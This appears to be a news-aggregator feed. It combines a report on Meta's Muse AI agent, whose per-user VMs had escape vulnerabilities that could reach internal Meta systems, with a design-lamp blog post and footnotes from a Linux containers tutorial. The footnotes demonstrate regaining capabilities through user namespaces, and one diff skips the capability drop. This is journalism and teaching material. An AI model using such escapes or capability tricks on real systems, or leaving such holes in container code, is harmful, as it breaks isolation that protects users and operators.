The bank and financial authorities have not confirmed its use in the Shinhan breach, and the Chinese-language string doesn't link the attacks to any particular threat actor.

However, Moon Jong-hyun, the head of the Genian Security Center, posted on LinkedIn that several threat analysts believe that the breaches involved AI-based attack automation tools.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Meta Rushed to Fix Muse ‘VM Escape' Vulnerability Soon Before Launch

403 Media
www.404media.co
2026-10-05 10:13:58
The vulnerability could have let a Muse user access sensitive internal Meta databases....
Original Article

In the immediate weeks before Muse’s launch, Meta engineers found several security vulnerabilities in the company’s viral AI agent product, at least one of which could have allowed malicious users to break outside of Muse’s intended environment and access Meta’s own sensitive databases and services, 404 Media has learned. The issues were so severe that they reached Mark Zuckerberg and staff worked overtime to fix them.

These specific vulnerabilities were discovered before the launch of the product but required a multi-team “mad dash” to fix “a sudden spike in reported KVM escapes,” according to an internal post by Meta executives to its core infrastructure team seen by 404 Media. In order for Muse to work, a user gives the AI agent access to various important services and accounts that they own. On Meta’s end, each individual Muse instance runs on a kernel-based virtual machine , which connects to, but is supposed to be isolated from, Meta’s own critical infrastructure. A “KVM escape,” then, is when, through a security vulnerability, a Muse instance is able to escape from that virtual machine and interact with the system that runs it, or with other users’ virtual machines.

💡

Do you know anything else about Muse's security? I would love to hear from you. Using a non-work device, you can message me securely on Signal at jason.404. Otherwise, send me an email at jason@404media.co.

According to a Meta source, as well as internal security documentation and internal posts viewed by 404 Media, at least one of the vulnerabilities could have allowed an outside attacker — that is, a normal Muse user — to access data in sensitive internal Meta databases. . At least one of the vulnerabilities was related to an exploit found in Linux kernel-based virtual machine code in July . 404 Media granted the Meta source anonymity to speak about sensitive security matters.

Several of the vulnerabilities were in the underlying Linux virtualization software that Meta uses for Muse. The security issue was considered serious enough that it was raised to Mark Zuckerberg, and several different security teams worked nights and weekends in the leadup to launch to fix the issues. This type of security push is not necessarily unusual prior to the launch of a major product, but is notable considering outside researchers have found several other security issues since Muse’s launch, and in the broader context of agentic AIs from OpenAI and other companies going on major hacking sprees .

The Meta source said they felt security teams were asked to push hot fixes to these bugs as quickly as possible and in a way that wouldn’t delay Muse’s launch, leading to what they described as “half-baked protections being rushed out to enable the launch. Many senior engineers believe it’s inevitable we’re going to have a massive data breach as a result of Hatch.” Muse is called “Hatch” internally and in Meta’s codebase.

This security push was acknowledged in an internal post made by Meta’s vice president of core infrastructure Surupa Biswas, vice president of engineering Francois Richard, and senior director of engineering Josh Barry to the company’s core infrastructure team on September 18, 10 days following Muse’s launch.

“With Muse, we are directly hosting and running agents on behalf of end users, a fundamentally different paradigm,” the post said. “A sudden spike in reported KVM escapes, plus heightened awareness of agentic safety issues made us rally on a service hardening push.”

The post noted this push started on August 27 and lasted a “handful of weeks and weekends,” though Muse was released just 11 days later. The post says that the work involved taking steps to “reduce the surface area accessible to Hatch agents.” The teams also took steps to “constrain port/IP destinations Hatch and VMVM hosts can reach.”

A virtual machine escape of Muse is a potentially very serious security issue, and is classified as such in Meta’s bug bounty program. The company says it is willing to pay $300,000 to any security researcher who finds a bug that would allow for a VM escape, the highest payout it lists on its bug bounty website.

“Muse, an AI product from Meta, lets people create their own personalized AI agent — their Muse. Each Muse agent runs in a dedicated per-user virtual machine and connects to that user's own services: email, calendar, messaging, browsing, and third-party accounts. Because a Muse agent holds a user’s most sensitive data and can act on their behalf, we treat compromise of that boundary as a first-class security risk,” the company explains on the bug bounty page. The highest level of risk is “Compromise of Meta production and users beyond Muse” with a VM escape, which it describes as “reaching Meta production services or internal networks from Muse.” This is what at least one of the vulnerabilities could have been capable of, according to the Meta source.

In a statement to 404 Media, a Meta spokesperson said, “Muse is the first personal AI agent built for everyone and we’re proud of the work we’ve done to make it safe, secure and private, with built-in protections and user controls that put people in charge of how they use it. We’ve strengthened Muse through extensive dogfooding, agentic red teaming and our bug bounty program — and that work continues."

Muse’s rollout has been uneven thus far. The agent has proven popular, or at least buzzy, for being able to do things like cancel subscriptions, make restaurant reservations, and book travel. But security researcher Patrick Wardle found a zero-day in Muse — a vulnerability that, to his knowledge, the company was not aware of at the time — that allowed apps and terminal commands to control a user’s Muse. Another Muse user was able to get Muse to export his Instagram followers, as well as his followers’ followers, something that shouldn’t be possible and which Meta’s security teams investigated, according to the Meta source.

“This issue is that Hatch makes the virtualization boundary a production security boundary,” Wardle told 404 Media of a potential Muse KVM escape. “We have users with root privileges inside a VM that is itself placed within Meta's production environment and given (by design) limited access to internal services. A single failure in KVM (or even a vulnerability or misconfiguration in an internally reachable service) can therefore turn arbitrary user code into production access. I feel like this design is inherently risky, particularly risky as AI lowers the cost of finding, analyzing, and exploiting exactly these kinds of complex virtualization vulnerabilities.”

“I know everything is always a tradeoff between usability and security, but this is why in top security environments, systems are air-gapped, as its always assumed that connected systems can be exploited,” he added. “Of course, there's no expectation to Meta to go that far, but having access to production environment literally one KVM escape away, is plain irresponsible.”

About the author

Jason is a cofounder of 404 Media. He was previously the editor-in-chief of Motherboard. He loves the Freedom of Information Act and surfing.

Jason Koebler

The designer lamps in my house

Hacker News
arslan.io
2026-10-05 10:12:14
Comments...
Original Article

I have a thing for lamps. Especially designer lamps from the past. I occasionally share them on X and Instagram , and people always ask me about the brands and models. I love lamps so much that I designed one myself . So I decided to give a tour of the lamps I own.

Before I go into each one, I should say that none of these are cheap. Are they worth it? Probably not for their price, but for me they are worth every penny. At a certain point, it becomes more like collecting, and collecting things is very different from just having a lamp to illuminate a room. The lighting industry is a huge ecosystem though, and nowadays you can get really nicely designed lamps from IKEA for maybe a tenth of the price. Also, most of these can be found for very good prices at vintage stores or fairs.

Anyway, here are my lamps in no particular order. All of the photos were taken in my own house:

Artemide Tolomeo Mini

The Tolomeo was designed by Michele De Lucchi and Giancarlo Fassina in 1987. De Lucchi is one of the big names in Italian design and was also part of the Memphis movement. The lamp won the Compasso d’Oro in 1989.

It is probably one of the most copied desk lamps ever made. IKEA and many other companies have made lamps that look very similar. A reader of my blog also sent me a photo of the old Apple Industrial Design studio, where you can see several Tolomeos on the desks.

It is simple, easy to move, and probably one of the best lamps you can have on a work desk. Lastly, I also designed a small adaptor for mine , so I can attach it directly to my USM Haller desk.

Tizio Micro

Richard Sapper designed the Tizio in 1972. He is one of my favorite industrial designers. He later designed the first IBM ThinkPad, as well as the famous 9090 espresso maker for Alessi. Tizio means “dude” in Italian.

The Tizio started because Sapper wanted a better lamp for his own desk. There are no wires running along the arms because the arms themselves carry the electricity. Counterweights keep everything balanced, so you can move the lamp with one finger and it stays there.

The small red details are Sapper's unique signature. He often used a little bit of red on black products, for example the red TrackPoint on the ThinkPad. The Micro is a smaller version of the original Tizio, and there are several versions you can choose from.

Akari 1A

I got this lamp secondhand from Germany, and a friend brought it to me. It's made of washi, which is a traditional Japanese paper. It is thin, soft, and slightly warm in color, which gives the light a very gentle glow.

The Akari 1A was designed by Isamu Noguchi (a very famous Japanese-American designer). He started the Akari series in 1951 after a visit to Gifu, a city known for its paper lanterns. He used washi because it softened the light and also allowed him to create very light, sculptural shapes. Akaris are really more like sculptures, which Noguchi is also famous for!

Fun fact: “Akari” means light in Japanese, both as illumination and as lightness. The 1A is one of the earliest and simplest shapes. I like Akaris so much that I have a few of them sprinkled around my house.

Akari 3A

The Akari 3A is similar to the 1A, but it is taller, with longer legs and wooden trim at the top and bottom. It has a slightly awkward size. At 56 cm tall, it feels too short to sit directly on the floor, but also a little too large for a normal desk. I think it works best on a low table, sideboard, or cabinet.

Akari 16A

This was the first Akari I bought. I initially had it in my office, but later moved it to our bedroom. It has a very unique shape, but at the same time it almost disappears into the room. It feels incredibly light. One nice thing about Akari is that every lamp is still made by hand at Ozeki, a family-run workshop in Gifu, Japan. They still use the traditional methods that were used when Noguchi started the series.

Akari 75A

The Akari 75A is the biggest lamp in my house. It is roughly 75 cm across and completely fills the space. This is the lamp that replaced the Akari 16A in my office. Compared to the 16A, the 75A really fills the room and has a presence. Another fun fact: every real Akari carries a small red sun-and-moon stamp, which is the mark of authenticity. Noguchi designed more than 100 different Akari models during his lifetime.

Louis Poulsen PH 5

I first noticed the PH 5 in Another Round , the Danish film about teachers who start drinking heavily. The family was sitting around the dinner table, and the PH 5 was hanging right above them. Later I saw one in Dieter Rams’ house, and that was it for me. I’m a huge fan of him.

The PH 5 was designed by Poul Henningsen in 1958 and is probably one of the most famous Danish lamps ever made. It is also very common in Danish homes. The nice part is that you never really see the bulb directly, so the light always feels soft. The “5” comes from the 50 cm shade, and the small red and blue parts inside help make the light feel warmer.

Louis Poulsen PH 3/2

Henningsen actually created the three-shade system in 1925. The PH 3/2 was the first lamp to use this system, and it won a gold medal at the Paris exhibition that same year.

It's made out of glass (unfortunately, it breaks easily if you are not careful), and the glass is mouth-blown. I actually broke it by accident and had to wait months for a replacement. It's shiny on the outside and matte on the inside. The famous PH 5 came more than 30 years later, though. It uses the same idea of several shades to make the light softer and more comfortable.

AJ Wall Lamp

The AJ Lamp is another design icon. We have the wall version at home. Arne Jacobsen designed it in 1957 for the SAS Royal Hotel in Copenhagen, where he designed almost everything, from the furniture down to the cutlery.

Fun fact: that same cutlery later appeared in 2001: A Space Odyssey . What I like most is that you can tilt the lamp. I sometimes point it towards the wall for soft, indirect light, and when I read, I simply point it towards the book.

Lampe de Bureau (Jean Prouvé)

Jean Prouvé is one of my favorite designers. He was a French designer and metalworker. He is most famous for his simple, practical furniture like the Standard Chair. He designed the Lampe de Bureau in 1930 for the student residences in Nancy. It is made from a bent sheet of steel and looks more brutal/engineered than other lamps. That is typical of Prouvé; most of his work looks like that. Nowadays you can get it from Vitra in its original colors.

Chispa (Marset)

Joan Gaspar designed the Chispa in 2020, inspired by old garage lamps with a metal cage around the light. “Chispa” means spark in Spanish. It is rechargeable, water resistant, and has three levels of light, so I move it around the house quite a lot. We also use it in our garden in the summer.

Kismas Lamp 01

Kismas is a small design studio from Vilnius, Lithuania, started by designer Ramūnas Minkevičius. “Kismas” means change or transformation in Lithuanian.

The Lamp 01 uses real glass blocks from Soviet-era buildings from the 1970s and 80s, with a light underneath. It also comes with film and theater filters that you can place inside to change the color of the light, though I find that very cumbersome. I think it's a very artistic lamp, but not very functional.

Tokio Lamp

I discovered this one while walking in Copenhagen with my wife, when I saw it through a shop window. Shigeaki Asahara designed it in 1980 for the Italian company Stilnovo, with a shade that looks like a mailbox. It was forgotten for decades until the Danish brand “Please Wait to be Seated” brought it back in 2020.

Unfortunately they didn't have it in stock that day, so I later shipped it to Germany, and from there brought it with me to Ankara, Turkey. It's one of my most unique lamps.

Vision 20/20 Floor

Made by DCW éditions from Paris, and named after the eye test at the optician. The base slides under a sofa, and it has two lights, one pointing up and one down, each with its own dimmer. It's very functional and made especially for reading. It sits next to my Eames chair, and I turn it on whenever I'm deep into reading a book.

HAY Apex Floor Lamp

John Tree designed the Apex line for HAY in 2023. It's inspired by the classic banker's lamp. The lamp shade is a single sheet of steel folded over the bulb. For the floor version I picked up a black one. The nice thing about the metal shade is that it rotates 360 degrees. That way you can reflect the light off the wall and create a nice diffused/indirect light.

HAY Apex Clip Lamp

The same folded shade, but this time in green, with a clip instead of a stand. Because the clip was ugly and hard to mount on my Vitsoe 606 e-tracks, I did something myself. I designed a 3D-printed attachment . It took a few versions to get right, but now it looks really nice!

Block Lamp

And finally, my own design . I made it in January 2025 for the shelves of my espresso bar. It's a single 3D-printed piece with no glue or bolts, and the front handle can be pulled, pushed or rotated. The best thing about the lamp is that it can be rotated and used in three different ways. Of course, because it is a 3D print, I'm limited in the choice of material. I still have some ideas for it, like adding a battery and making it portable, or using a CNC-milled or wooden housing.


That's it. The world of lighting is incredible. There are design companies that specialize only in lamps. I'm mostly interested in sleek, minimalist and iconic designs (such as the Akari, Tizio, AJ or Tolomeo).

If you have made it so far, thanks for reading! Let me know if you have any questions about any of these lamps.

Linux containers in 500 lines of code

Hacker News
blog.lizzie.io
2026-10-05 10:09:15
Comments...
Original Article

1

"Linux User Namespaces Might Not Be Secure Enough" by Erica Windisch:

If a (real) root user has had the SYS_CAP_ADMIN capability removed, but then creates a user namespace, this capability is restored for the (fake) root user. That is, before creating the namespace, ‘mount’ would be denied, but following the creation of the user namespace, the ‘mount’ syscall would magically work again, albeit in a limited fashion. While limited in function, it’s significant enough that given a (real) root user and a kernel with user namespaces, Linux capabilities may be completely subverted.

and man 7 user_namespaces says:

The child process created by clone(2) with the CLONE_NEWUSER flag starts out with a complete set of capabilities in the new user namespace.

and "Understanding and Hardening Linux Containers" again

User namespaces also allows for ``interesting'' intersections of security models, whereas full root capabilities are granted to new namespace. This can allow CLONE_NEWUSER to effectively use CAP_NET_ADMIN over other network namespaces as they are exposed, and if containers are not in use. Additionally, as we have seen many times, processes with CAP_NET_ADMIN have a large attack surface and have resulted in a number of different kernel vulnerabilities. This may allow an unprivileged user namespace to target a large attack surface (the kernel networking subsystem) whereas a privileged container with reduced capabilities would not have such permissions. See Section 5.5 on page 39 for a more in-depth discussion on this topic.

We can demonstrate this behavior (on a host with user namespaces compiled in) with

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -static  subverting_networking.c \*/
/*                   -o subverting_networking" */
/* End: */
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/sockios.h>

int main (int argc, char **argv)
{
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) {
		fprintf(stderr, "++ unshare failed: %m\n");
		return 1;
	}
	/* this is how you create a bridge... */
	int sock = 0;
	if ((sock = socket(PF_LOCAL, SOCK_STREAM, 0)) == -1) {
		fprintf(stderr, "++ socket failed: %m\n");
		return 1;
	}
	if (ioctl(sock, SIOCBRADDBR, "br0")) {
		fprintf(stderr, "++ ioctl failed: %m\n");
		close(sock);
		return 1;
	}
	close(sock);
	fprintf(stderr, "++ success!\n");
	return 0;
}
  alpine-kernel-dev:~$ whoami
  lizzie
  alpine-kernel-dev:~$ ./subverting_networking
  ++ success!
  alpine-kernel-dev:~$

but we're not actually that powerful.

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -lcap -static subverting_setfcap.c \*/
/*                   -o subverting_setfcap" */
/* End: */
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <linux/capability.h>
#include <sys/capability.h>

int main (int argc, char **argv)
{
	if (unshare(CLONE_NEWUSER)) {
		fprintf(stderr, "++ unshare failed: %m\n");
		return 1;
	}
	cap_t cap = cap_from_text("cap_net_admin+ep");
	if (cap_set_file("example", cap)) {
		fprintf(stderr, "++ cap_set_file failed: %m\n");
		cap_free(cap);
		return 1;
	}
	cap_free(cap);
	return 0;
}
  alpine-kernel-dev:~$ whoami
  lizzie
  alpine-kernel-dev:~$ touch example
  alpine-kernel-dev:~$ ./subverting_setfcap
  ++ cap_set_file failed: Operation not permitted

2

init/Kconfig:1207@c8d2bc

config USER_NS
	bool "User namespace"
	default n
	help
	  This allows containers, i.e. vservers, to use user namespaces
	  to provide different user info for different servers.

	  When user namespaces are enabled in the kernel it is
	  recommended that the MEMCG option also be enabled and that
	  user-space use the memory control groups to limit the amount
	  of memory a memory unprivileged users can use.

	  If unsure, say N.

3

Ubuntu switches CONFIG_USER_NS on, but patches it so that it unprivileged use can be disabled with a sysctl, unpriviliged_userns_clone .

commit 92e575e769cc50a9bfb50fb58fe94aab4f2a2bff
Author: Serge Hallyn <redacted>
Date:   Tue Jan 5 20:12:21 2016 +0000

    UBUNTU: SAUCE: add a sysctl to disable unprivileged user namespace unsharing
    
    It is turned on by default, but can be turned off if admins prefer or,
    more importantly, if a security vulnerability is found.
    
    The intent is to use this as mitigation so long as Ubuntu is on the
    cutting edge of enablement for things like unprivileged filesystem
    mounting.
    
    (This patch is tweaked from the one currently still in Debian sid, which
    in turn came from the patch we had in saucy)
    
    Signed-off-by: Serge Hallyn <redacted>
    [bwh: Remove unneeded binary sysctl bits]
    Signed-off-by: Tim Gardner <redacted>

Debian has the same behavior:

From: Serge Hallyn <redacted>
Date: Fri, 31 May 2013 19:12:12 +0000 (+0100)
Subject: add sysctl to disallow unprivileged CLONE_NEWUSER by default
Origin: http://kernel.ubuntu.com/git?p=serge%2Fubuntu-saucy.git;a=commit;h=5c847404dcb2e3195ad0057877e1422ae90892b8

add sysctl to disallow unprivileged CLONE_NEWUSER by default

This is a short-term patch.  Unprivileged use of CLONE_NEWUSER
is certainly an intended feature of user namespaces.  However
for at least saucy we want to make sure that, if any security
issues are found, we have a fail-safe.

Signed-off-by: Serge Hallyn <redacted>
[bwh: Remove unneeded binary sysctl bits]
---

Grsecurity disables it entirely for users without CAP_SYS_ADMIN , CAP_SETUID , and CAP_SETGID .

--- a/kernel/user_namespace.c
+++ b/kernel/user_namespace.c
@@ -84,6 +84,21 @@ int create_user_ns(struct cred *new)
 	    !kgid_has_mapping(parent_ns, group))
 		return -EPERM;
 
+#ifdef CONFIG_GRKERNSEC
+	/*
+	 * This doesn't really inspire confidence:
+	 * http://marc.info/?l=linux-kernel&m=135543612731939&w=2
+	 * http://marc.info/?l=linux-kernel&m=135545831607095&w=2
+	 * Increases kernel attack surface in areas developers
+	 * previously cared little about ("low importance due
+	 * to requiring "root" capability")
+	 * To be removed when this code receives *proper* review
+	 */
+	if (!capable(CAP_SYS_ADMIN) || !capable(CAP_SETUID) ||
+			!capable(CAP_SETGID))
+		return -EPERM;
+#endif

and Arch Linux has it off.

Comment by William Kennington (Webhostbudd) - Sunday, 06 October 2013, 03:55 GMT

I agree with Florian, allowing non-root users to take advantage of
elevating themselves to a local root seems like a huge attack
surface. Preferably this would be a sysctl with a huge warning
attached to it when it is switched on.

Comment by Daniel Micay (thestinger) - Monday, 24 November 2014, 03:55 GMT

[...]  Arch doesn't add new features via patches. If you want to see
this feature enabled, then land something like this upstream. Note
that CONFIG_USER_NS is already enabled in the linux-grsec package
because it fully removes the ability to have unprivileged user
namespaces.

It would have been cool to include Red Hat's patches here, but I couldn't find them.

4

Most of this section is cribbed from the example at the bottom of man 2 clone .

5

/* -*- compile-command: "gcc -Wall -Werror clone_stack.c -o clone_stack" -*- */
#define _GNU_SOURCE
#include <sched.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define STACK_SIZE (1024 * 1024)

int child (void *_)
{
	int stack_value = 0;
	fprintf(stderr, "pre-execve, stack is ~%p\n", &stack_value);
	execve("./show_stack", (char  *[]) {",/show_stack", 0}, NULL);
	return 0;
}

int main (int argc, char **argv) {
	void *stack = malloc(STACK_SIZE);
	clone(child, stack + STACK_SIZE, SIGCHLD, NULL);
	wait(NULL);
	return 0;
}

/* -*- compile-command: "gcc -Wall -Werror -static show_stack.c -o show_stack" -*- */
#include <stdio.h>

int main (int argc, char **argv)
{
	int stack_value = 0;
	fprintf(stderr, "post-execve, stack is ~%p\n", &stack_value);
	return 0;
}
  [lizzie@empress linux-containers-in-500-loc]$ ./clone_stack
  pre-execve, stack is ~0x7f3f98deefec
  post-execve, stack is ~0x7ffd14d2291c

The stack grows down on x86, so the fact that the address is higher numerically post-execve means that a new stack has been allocated.

6

I thought this might be undefined behavior, since stack + STACK_SIZE does point past the last item of the array, but point 8 of 6.5.6 [Additive operators] in ISO-9899 has us covered:

If both the pointer operand and the result point to elements of the same array object, or one past the last element of the array object, the evaluation shall not produce an overflow; otherwise, the behavior is undefined. If the result points one past the last element of the array object, it shall not be used as the operand of a unary * operator that is evaluated.

i.e., the pointer addition is valid, but dereferencing it wouldn't be.

7

I wasn't confident that waitpid was enough to wait for the process and all of its children, but when the root of a pid namespace closes, all of its children get SIGKILL :

man 7 pid_namespaces :

If the "init" process of a PID namespace terminates, the kernel terminates all of the processes in the namespace via a SIGKILL signal. This behavior reflects the fact that the "init" process is essential for the correct operation of a PID namespace.

Also verified this myself, before I found that:

/* -*- compile-command: "gcc -Wall -Werror -static persistent_child.c -o persistent_child" -*- */
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main (int argc, char **argv)
{
	switch (fork()) {
	case -1:
		fprintf(stderr, "++ fork failed: %m\n");
		return 1;
	case 0:;
		int fd = 0;
		if ((fd = open("persistent_child.log",
			       O_CREAT | O_APPEND | O_WRONLY,
			       S_IRUSR | S_IWUSR)) == -1) {
			fprintf(stderr, "++ open failed: %m\n");
			return 1;
		}
		size_t count = 0;
		while (count < 100) {
			if (dprintf(fd, "%lu\n", count++) < 0) {
				fprintf(stderr, "++ dprintf failed: %m\n");
				close(fd);
				return 1;
			}
			sleep(1);
		}
		close(fd);
		return 0;
	default:
		sleep(2);
		return 0;
	}
}
[lizzie@empress l-c-i-500-l]$ touch persistent_child.log 
[lizzie@empress l-c-i-500-l]$ chmod 666 persistent_child.log 
[lizzie@empress l-c-i-500-l]$ sudo strace -f ./contained -m . -u 0 -c ./persistent_child
execve("./contained", ["./contained", "-m", ".", "-u", "0", "-c", "./persistent_child"], [/* 15 vars */]) = 0
brk(NULL)                               = 0x605490
# ...
[pid   736] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x6b68d0) = 2
strace: Process 746 attached
[pid   736] nanosleep({2, 0},  <unfinished ...>
[pid   746] open("persistent_child.log", O_WRONLY|O_CREAT|O_APPEND, 0600) = 3
[pid   746] fstat(3, {st_mode=S_IFREG|0666, st_size=4, ...}) = 0
[pid   746] lseek(3, 0, SEEK_CUR)       = 0
[pid   746] write(3, "0\n", 2)          = 2
[pid   746] nanosleep({1, 0}, 0x3fee2d718d0) = 0
[pid   746] fstat(3, {st_mode=S_IFREG|0666, st_size=6, ...}) = 0
[pid   746] lseek(3, 0, SEEK_CUR)       = 6
[pid   746] write(3, "1\n", 2)          = 2
[pid   746] nanosleep({1, 0},  <unfinished ...>
[pid   736] <... nanosleep resumed> 0x3fee2d718d0) = 0
[pid   736] exit_group(0)               = ?
[pid   746] +++ killed by SIGKILL +++
[pid   736] +++ exited with 0 +++
# ...

	close(sockets[1]);
	sockets[1] = 0;
	if (handle_child_uid_map(child_pid, sockets[0])) {
		err = 1;
		goto kill_and_finish_child;
	}

	goto finish_child;
kill_and_finish_child:
	if (child_pid) kill(child_pid, SIGKILL);
finish_child:;
	int child_status = 0;
	waitpid(child_pid, &child_status, 0);
	err |= WEXITSTATUS(child_status);
clear_resources:
	free_resources(&config);
	free(stack);

A process setting its own user namespace is pretty limited 8 , so the parent will wait until the child enters the user namespace, and then write a mapping to its uid_map and gid_map .

8

	In order for  a process to write  to the /proc/[pid]/uid_map
	(/proc/[pid]/gid_map)   file,    all   of    the   following
	requirements must be met:

	1. The writing process must have the CAP_SETUID (CAP_SETGID)
	   capability in the user namespace of the process pid.

	2. The writing process must either  be in the user namespace
	   of the process pid or be  in the parent user namespace of
	   the process pid.

	3. The  mapped user  IDs (group  IDs)  must in  turn have  a
	   mapping in the parent user namespace.

	4. One of the following two cases applies:

	   *  Either   the  writing   process  has   the  CAP_SETUID
		 (CAP_SETGID) capability in the parent user namespace.

		 +  No further restrictions apply: the process can make
		    mappings to  arbitrary user IDs (group  IDs) in the
		    parent user namespace.

	   *  Or otherwise all of the following restrictions apply:

		 +  The data written to  uid_map (gid_map) must consist
		    of a  single line  that maps the  writing process's
		    effective  user ID  (group ID)  in the  parent user
		    namespace  to a  user  ID (group  ID)  in the  user
		    namespace.

		 +  The writing  process must  have the  same effective
		    user  ID  as  the  process that  created  the  user
		    namespace.

		 +  In  the case  of gid_map,  use of  the setgroups(2)
		    system call must first be denied by writing deny to
		    the /proc/[pid]/setgroups  file (see  below) before
		    writing to gid_map.

	Writes  that violate  the above  rules fail  with the  error
	EPERM.

9

gid , sgid , and egid are separate from group_info in struct cred :

/*
 * The security context of a task
 *
 * The parts of the context break down into two categories:
 *
 *  (1) The objective context of a task.  These parts are used when some other
 *	task is attempting to affect this one.
 *
 *  (2) The subjective context.  These details are used when the task is acting
 *	upon another object, be that a file, a task, a key or whatever.
 *
 * Note that some members of this structure belong to both categories - the
 * LSM security pointer for instance.
 *
 * A task has two security pointers.  task->real_cred points to the objective
 * context that defines that task's actual details.  The objective part of this
 * context is used whenever that task is acted upon.
 *
 * task->cred points to the subjective context that defines the details of how
 * that task is going to act upon another object.  This may be overridden
 * temporarily to point to another security context, but normally points to the
 * same context as task->real_cred.
 */
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

10

For example, test_perm in the /proc/sys -handling-code:

static int test_perm(int mode, int op)
{
	if (uid_eq(current_euid(), GLOBAL_ROOT_UID))
		mode >>= 6;
	else if (in_egroup_p(GLOBAL_ROOT_GID))
		mode >>= 3;
	if ((op & ~mode & (MAY_READ|MAY_WRITE|MAY_EXEC)) == 0)
		return 0;
	return -EACCES;
}

11

/* -*- compile-command: "gcc -Wall -Werror -static try_regain_cap.c -o try_regain_cap" -*- */
#include <linux/capability.h>
#include <sys/prctl.h>
#include <stdio.h>

int main (int argc, char  **argv)
{
	if (prctl(PR_CAPBSET_READ, CAP_MKNOD, 0, 0, 0)) {
 		fprintf(stderr, "++ have CAP_MKNOD\n");
	} else {
		fprintf(stderr, "++ don't have CAP_MKNOD\n");
	}
	return 0;
}

If we drop the bounding set, files with extra capabilities don't get those capabilities:

[lizzie@empress l-c-i-500-l]$ sudo setcap "cap_mknod+p" try_regain_cap
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.lVLNB1...done.
=> trying a user namespace...writing /proc/852/uid_map...writing /proc/852/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ don't have CAP_MKNOD
=> cleaning cgroups...done.

but if we don't, they work:

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..6ab1719 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -53,10 +53,7 @@ int capabilities()
 	size_t num_caps = sizeof(drop_caps) / sizeof(*drop_caps);
 	fprintf(stderr, "bounding...");
 	for (size_t i = 0; i < num_caps; i++) {
-		if (prctl(PR_CAPBSET_DROP, drop_caps[i], 0, 0, 0)) {
-			fprintf(stderr, "prctl failed: %m\n");
-			return 1;
-		}
+		continue;
 	}
 	fprintf(stderr, "inheritable...");
 	cap_t caps = NULL;
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_all_caps -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Qnzw2A...done.
=> trying a user namespace...writing /proc/940/uid_map...writing /proc/940/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ have CAP_MKNOD
=> cleaning cgroups...done.

(and if we set +ep , execve fails because it's considered a "capability-dumb binary")

[lizzie@empress l-c-i-500-l]$ sudo setcap "cap_mknod+ep" try_regain_cap
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Esog3p...done.
=> trying a user namespace...writing /proc/994/uid_map...writing /proc/994/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
execve failed! Operation not permitted.
=> cleaning cgroups...done.

   Safety checking for capability-dumb binaries
	A  capability-dumb binary  is an  application that  has been
	marked to have file capabilities, but has not been converted
